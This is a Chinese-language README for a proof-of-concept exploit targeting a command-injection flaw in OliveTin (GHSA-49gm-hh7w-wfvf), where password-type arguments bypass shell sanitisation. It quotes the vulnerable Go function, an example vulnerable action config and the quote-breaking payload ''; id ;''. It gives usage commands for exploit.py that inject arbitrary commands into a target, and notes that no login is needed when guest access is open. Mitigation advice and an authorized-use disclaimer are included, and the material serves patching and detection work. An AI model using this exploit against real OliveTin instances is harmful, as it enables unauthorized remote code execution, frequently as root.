OliveTin 允许管理员定义“操作”:带有参数化参数的 shell 命令,用户可以通过 Web UI 或 API 触发。在将用户提供的值模板化到 shell 命令之前,OliveTin 本应通过 checkShellArgumentSafety() 对其进行检查。该函数会检查四种参数类型:string、int、bool、choice。它完全跳过了 password 类型,并直接返回 true(表示“安全”),而不对值进行任何检查。
因此,如果某个操作包含 password 类型的参数,并且该参数被替换到 shell 命令字符串中,你可以向其中放入任何内容。分号、反引号、$() 等均可。如果该参数在底层命令中被引号包裹(这是数据库密码等场景的常见模式),那么跳出引号就足够了。
func checkShellArgumentSafety(argType string, value string) bool {
dangerousTypes := []string{"string", "int", "bool", "choice"}
for _, dt := range dangerousTypes {
if argType == dt {
return sanitizeInput(value)
}
}
// password type falls through here, unchecked
return true
}
影响 OliveTin 直到 3000.10.0 版本。在 3000.11.1 分支(提交 0.0.0-20260222101908-4bbd2eab1532)中修复,该版本将 password 添加到了受检查的类型中。安全公告:GHSA-49gm-hh7w-wfvf。CVSS 9.9。
任何密码类型参数出现在 shell 字符串中的情况(通常被引号包裹):
- title: Backup database
id: backup_db
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /tmp/backup.sql"
arguments:
- name: db_user
type: ascii_identifier
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
db_pass 位于单引号内,没有任何检查。发送 '; id ;' 作为值,OliveTin 会在格式错误的 mysqldump 调用失败之前执行 id。失败本身无关紧要;注入的命令已经以运行 OliveTin 的用户身份执行了。在许多配置中,该用户是 root,因为人们通常在没有 User= 行的情况下通过 systemd 运行它,并且之后不再考虑这个问题。
如果实例设置了 authRequireGuestsToLogin: false(这在较小或爱好者的部署中很常见),你不需要任何凭据即可执行所有这些操作。
pip install requests
python3 exploit.py -u <target> --action backup_db --arg db_pass -x "id"
如果操作需要其他参数才能(在注入命令执行前)不报错地运行,请使用 --extra-arg 传递它们:
python3 exploit.py -u 10.0.0.5 --action backup_db --arg db_pass \
--extra-arg db_user=admin --extra-arg db_name=prod -x "whoami"
该脚本向 StartAction 发送 POST 请求,等待两秒钟,然后轮询 ExecutionStatus 并打印返回的内容。你通常会看到注入命令的输出位于合法命令执行后失败所产生的错误之上。这是预期的。错误只是表面现象;你的命令已经执行了。
将 OliveTin 更新到 3000.10.0 之后的版本。如果暂时无法更新:从不受信任用户可访问的操作中移除任何密码类型参数,关闭访客执行权限,并尽可能避免将参数值插入到 shell 字符串中。改为通过环境变量或 OliveTin 在固定路径读取的文件来传递密码。另外,不要以 root 身份运行该服务。任务运行器没有理由拥有那样的权限。
exploit.py:PoC 脚本README.md:本文件此内容供那些为自己 OliveTin 实例打补丁、编写检测规则或测试已获授权系统的人员使用。不要将其用于任何你不拥有或没有权限触及的系统。后果自负,与本文作者无关。
| 标志 | 用途 | 默认值 |
|---|
-u, --url | 目标主机或 IP | 必需 |
-p, --port | OliveTin 的端口 | 1337 |
--action | 易受攻击操作的 bindingId | 必需 |
--arg | 密码类型参数的名称 | 必需 |
-x, --cmd | 要注入的命令 | id |
--extra-arg | 操作所需的其他参数,格式为 name=value,可重复 | 无 |